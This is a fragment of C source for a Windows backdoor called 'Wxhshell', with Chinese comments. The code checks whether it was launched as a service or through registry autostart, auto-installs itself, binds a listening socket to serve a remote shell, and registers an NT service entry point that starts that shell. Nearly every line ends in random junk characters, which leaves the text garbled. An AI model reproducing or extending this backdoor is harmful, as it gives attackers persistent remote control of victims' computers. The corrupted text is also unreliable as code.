PROCNTQSIP NtQueryInformationProcess; =\eM
-"r
j*Ta?'*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6Y>MW 4q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hl8-1M$&
hCD0Zel
HANDLE hProcess; ?54=TA|5`F
PROCESS_BASIC_INFORMATION pbi; By]XD~gcP
dP=1*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <!v^Df
if(NULL == hInst ) return 0; 7<<pP
U}x2,`PI
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bN`oQ.Z 4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bc}U &X<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CS)&A4`8
O5CIK}A
if (!NtQueryInformationProcess) return 0; i/2OE&*O[
<UQaRI[55
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iW(HOsA
if(!hProcess) return 0; [=z1~dXKb
2asA]sY
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bae .?+0[
R
rs?I,NV
CloseHandle(hProcess); )mz [2Sfg
:DXkAb2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >eQ;\j
if(hProcess==NULL) return 0; o7i/~JkTP
.h~M&d!
HMODULE hMod; !@{_Qt1
char procName[255]; 8xJdK'
unsigned long cbNeeded; G(~d1%(
^hv
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \$}xt`6p
c9/w-u~j
CloseHandle(hProcess); i[`nu#n/
b#(SDNo6
if(strstr(procName,"services")) return 1; // 以服务启动 ywXerz7dUk
sesr`,m.,
return 0; // 注册表启动 O@{ JB
} C18pK8-
%Qgo0
// 主模块 RXh0hD
int StartWxhshell(LPSTR lpCmdLine) <?kr"[cQeP
{ @+h2R
SOCKET wsl; r5%K2q{
BOOL val=TRUE; 9:4PJ%R9
int port=0; *M\Qt_[
struct sockaddr_in door; \~UyfVPRT
w~y+Pv@
if(wscfg.ws_autoins) Install(); 1dh_"/
EKZ40z`
port=atoi(lpCmdLine); ;29q
E@^`B9;Q7
if(port<=0) port=wscfg.ws_port; LbOjKM^-
osyY+)G'sV
WSADATA data; yS p]+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GhpVi<FL
<o,]f E[
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pE<dK.v6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |VC|@ Q
door.sin_family = AF_INET; +<qmVW^X
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &oi*]:<FNe
door.sin_port = htons(port); HCj/x<*F
4rXjso|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tR`'( *wh
closesocket(wsl); & !0 [T
return 1; n`'v8 `a]
} "p,TYjT?R
qU!xh)
if(listen(wsl,2) == INVALID_SOCKET) { >v1E;-ZA
closesocket(wsl); "^?|=sQ
return 1; oEfy{54
} H# P)n
R
M
Wxhshell(wsl); Y ;qA@|
WSACleanup(); *hugQh]a
kl4u]MyL#
return 0; R^t
)~\d
f+A!w8E
} #p<1@,
TF0DQP
// 以NT服务方式启动 fMg3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fK-tvP0}*
{ wXj!bh8\r
DWORD status = 0; ;4E(n
DWORD specificError = 0xfffffff; v-^7oai
(WoKrd.!
serviceStatus.dwServiceType = SERVICE_WIN32; :i{$p00
G
serviceStatus.dwCurrentState = SERVICE_START_PENDING; c{X>i>l>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I,rs&m?/m
serviceStatus.dwWin32ExitCode = 0; SM3qPlsF
serviceStatus.dwServiceSpecificExitCode = 0; .Ioj]r
serviceStatus.dwCheckPoint = 0; qRV5qN2{XY
serviceStatus.dwWaitHint = 0; f[S$Gu4-
;|nC;D]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o>3g<-ul
if (hServiceStatusHandle==0) return; zxo0:dyw7
4KO2oIR
status = GetLastError(); gOk<pRcTb=
if (status!=NO_ERROR) >9?BJv2
{ \W^+aNbv=8
serviceStatus.dwCurrentState = SERVICE_STOPPED; +a@:?=hc
serviceStatus.dwCheckPoint = 0; (YOp
serviceStatus.dwWaitHint = 0; |.8lS3C
serviceStatus.dwWin32ExitCode = status; ,[ogh
serviceStatus.dwServiceSpecificExitCode = specificError; aWtyY[=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {9 PeBc
return; qa|"kRCO
} fF~3"!1#\I
\QpH~&QIS
serviceStatus.dwCurrentState = SERVICE_RUNNING; X?B9Z8
serviceStatus.dwCheckPoint = 0; i2h,=NHJh?
serviceStatus.dwWaitHint = 0; 'yrU_k,h
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ow,4'f!d
} #gHs!b-g@
)_7OHV *3
// 处理NT服务事件,比如:启动、停止 mAI<